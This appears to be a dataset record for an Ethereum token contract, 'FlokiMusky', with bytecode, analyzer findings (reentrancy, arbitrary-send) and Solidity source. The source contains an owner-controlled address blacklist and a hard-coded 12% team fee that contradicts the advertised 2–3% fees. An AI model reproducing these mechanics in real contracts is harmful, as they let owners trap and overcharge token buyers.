0b6b611ecc565b60200260200101516001600160a01b031614158015610bbc575060075482516001600160a01b0390911690839083908110610ba857610ba8611ecc565b60200260200101516001600160a01b031614155b15610c1957600160066000848481518110610bd957610bd9611ecc565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610c2381611ee2565b915050610b3f565b600061071e338484611212565b6008546001600160a01b0316336001600160a01b031614610c5857600080fd5b6000610c6330610a8d565b9050610a8a81611905565b6000546001600160a01b03163314610c985760405162461bcd60e51b815260040161083790611efb565b60115460ff1615610ce55760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610837565b6011805460ff19166001179055426010556801158e460913d00000600e5568022b1c8c1227a00000600f55565b600a5460009061089d906001600160a01b0316610a8d565b6000546001600160a01b03163314610d545760405162461bcd60e51b815260040161083790611efb565b6011805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610706565b6000546001600160a01b03163314610dd15760405162461bcd60e51b815260040161083790611efb565b60115460ff1615610e1e5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610837565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610e5b3082683635c9adc5dea000006110ee565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e99573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ebd9190611f30565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f0a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f2e9190611f30565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f7b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f9f9190611f30565b600a80546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610fcf81610a8d565b600080610fe46000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561104c573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110719190611f4d565b5050600a5460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156110ca573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092a9190611f7b565b6001600160a01b0383166111505760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610837565b6001600160a01b0382166111b15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610837565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112765760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610837565b6001600160a01b0382166112d85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610837565b6000811161133a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610837565b6001600160a01b03831660009081526006602052604090205460ff16156113af5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e736665722066726f6d2066726f7a656e2077616c6c60448201526232ba1760e91b6064820152608401610837565b600080546001600160a01b038581169116148015906113dc57506000546001600160a01b03848116911614155b1561182157600a546001600160a01b03858116911614801561140c57506007546001600160a01b03848116911614155b801561143157506001600160a01b03831660009081526004602052604090205460ff16155b156116bd5760115460ff166114885760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610837565b60105442036114c75760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b6044820152606401610837565b42601054610e106114d89190611f98565b111561155257600f546114ea84610a8d565b6114f49084611f98565b11156115525760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b6064820152608401610837565b6001600160a01b03831660009081526005602052604090206001015460ff166115ba576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b4260105460786115ca9190611f98565b111561169e57600e548211156116225760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e00000000006044820152606401610837565b61162d42600f611f98565b6001600160a01b0384166000908152600560205260409020541061169e5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b6064820152608401610837565b506001600160a01b038216600090815260056020526040902042905560015b601154610100900460ff161580156116d7575060115460ff165b80156116f15750600a546001600160a01b03858116911614155b156118215761170142600f611f98565b6001600160a01b038516600090815260056020526040902054106117735760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b6064820152608401610837565b600061177e30610a8d565b9050801561180a5760115462010000900460ff161561180157600d54600a54606491906117b3906001600160a01b0316610a8d565b6117bd9190611fb0565b6117c79190611fcf565b81111561180157600d54600a54606491906117ea906001600160a01b0316610a8d565b6117f49190611fb0565b6117fe9190611fcf565b90505b61180a81611905565b47801561181a5761181a47611880565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061186357506001600160a01b03841660009081526004602052604090205460ff165b1561186c575060005b6118798585858486611a79565b5050505050565b6008546001600160a01b03166108fc61189a600284611fcf565b6040518115909202916000818181858888f193505050501580156118c2573d6000803e3d6000fd5b506009546001600160a01b03166108fc6118dd600284611fcf565b6040518115909202916000818181858888f1935050505015801561092a573d6000803e3d6000fd5b6011805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061194957611949611ecc565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156119a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119c69190611f30565b816001815181106119d9576119d9611ecc565b6001600160a01b0392831660209182029290920101526007546119ff91309116846110ee565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790611a38908590600090869030904290600401611ff1565b600060405180830381600087803b158015611a5257600080fd5b505af1158015611a66573d6000803e3d6000fd5b50506011805461ff001916905550505050565b6000611a858383611a9b565b9050611a9386868684611ae2565b505050505050565b6000808315611adb578215611ab35750600b54611adb565b50600c54601054611ac690610384611f98565b421015611adb57611ad8600582611f98565b90505b9392505050565b600080611aef8484611bbf565b6001600160a01b0388166000908152600260205260409020549193509150611b18908590611eb5565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611b48908390611f98565b6001600160a01b038616600090815260026020526040902055611b6a81611bf3565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611baf91815260200190565b60405180910390a3505050505050565b600080806064611bcf8587611fb0565b611bd99190611fcf565b90506000611be78287611eb5565b96919550909350505050565b30600090815260026020526040902054611c0e908290611f98565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611c4e57858101830151858201604001528201611c32565b81811115611c60576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a8a57600080fd5b8035611c9681611c76565b919050565b600060208284031215611cad57600080fd5b8135611adb81611c76565b60008060408385031215611ccb57600080fd5b8235611cd681611c76565b946020939093013593505050565b60008060408385031215611cf757600080fd5b50508035926020909101359150565b600080600060608486031215611d1b57600080fd5b8335611d2681611c76565b92506020840135611d3681611c76565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611d7057600080fd5b823567ffffffffffffffff80821115611d8857600080fd5b818501915085601f830112611d9c57600080fd5b813581811115611dae57611dae611d47565b8060051b604051601f19603f83011681018181108582111715611dd357611dd3611d47565b604052918252848201925083810185019188831115611df157600080fd5b938501935b82851015611e1657611e0785611c8b565b84529385019392850192611df6565b98975050505050505050565b600060208284031215611e3457600080fd5b5035919050565b8015158114610a8a57600080fd5b600060208284031215611e5b57600080fd5b8135611adb81611e3b565b60008060408385031215611e7957600080fd5b8235611e8481611c76565b91506020830135611e9481611c76565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611ec757611ec7611e9f565b500390565b634e487b7160e01b600052603260045260246000fd5b600060018201611ef457611ef4611e9f565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611f4257600080fd5b8151611adb81611c76565b600080600060608486031215611f6257600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611f8d57600080fd5b8151611adb81611e3b565b60008219821115611fab57611fab611e9f565b500190565b6000816000190483118215151615611fca57611fca611e9f565b500290565b600082611fec57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156120415784516001600160a01b03168352938301939183019160010161201c565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212209c4c7697c1c94e4ce98bbadfd289d4e5759b6a2fec69bc6e326b5af92d2c893e64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,248 |
0xc4081791bf6141a2e446649c220ccbf576c1b4e4
|
//FlokiMusky
//Telegram: https://t.me/FlokiMusky
//2% Deflationary yes
//CG, CMC listing: Ongoing
//Fair Launch
//Community Driven - 100% Community Owned!
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract FlokiMusky is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "FlokiMusky | t.me/FlokiMusky";
string private constant _symbol = "FlokiMusky";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 3;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 3;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.mul(4).div(10));
_marketingFunds.transfer(amount.mul(6).div(10));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 12);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612f07565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a2a565b61045e565b6040516101789190612eec565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a391906130a9565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129db565b61048d565b6040516101e09190612eec565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b919061294d565b610566565b005b34801561021e57600080fd5b50610227610656565b604051610234919061311e565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612aa7565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f919061294d565b610783565b6040516102b191906130a9565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612e1e565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612f07565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a2a565b61098d565b60405161035b9190612eec565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a66565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612af9565b6110d5565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061299f565b61121e565b60405161041891906130a9565b60405180910390f35b60606040518060400160405280601c81526020017f466c6f6b694d75736b79207c20742e6d652f466c6f6b694d75736b7900000000815250905090565b600061047261046b6112a5565b84846112ad565b6001905092915050565b600068056bc75e2d63100000905090565b600061049a848484611478565b61055b846104a66112a5565b610556856040518060600160405280602881526020016137e260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c379092919063ffffffff16565b6112ad565b600190509392505050565b61056e6112a5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fe9565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fe9565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a5565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c9b565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dbc565b9050919050565b6107dc6112a5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fe9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f466c6f6b694d75736b7900000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a5565b8484611478565b6001905092915050565b6109b36112a5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fe9565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef906133bf565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a5565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e2a565b50565b610b7d6112a5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fe9565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613069565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1668056bc75e2d631000006112ad565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d689190612976565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e029190612976565b6040518363ffffffff1660e01b8152600401610e1f929190612e39565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e719190612976565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e8b565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612b22565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506b0813f3978f894098440000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107f929190612e62565b602060405180830381600087803b15801561109957600080fd5b505af11580156110ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d19190612ad0565b5050565b6110dd6112a5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116190612fe9565b60405180910390fd5b600081116111ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a490612fa9565b60405180910390fd5b6111dc60646111ce8368056bc75e2d6310000061212490919063ffffffff16565b61219f90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161121391906130a9565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915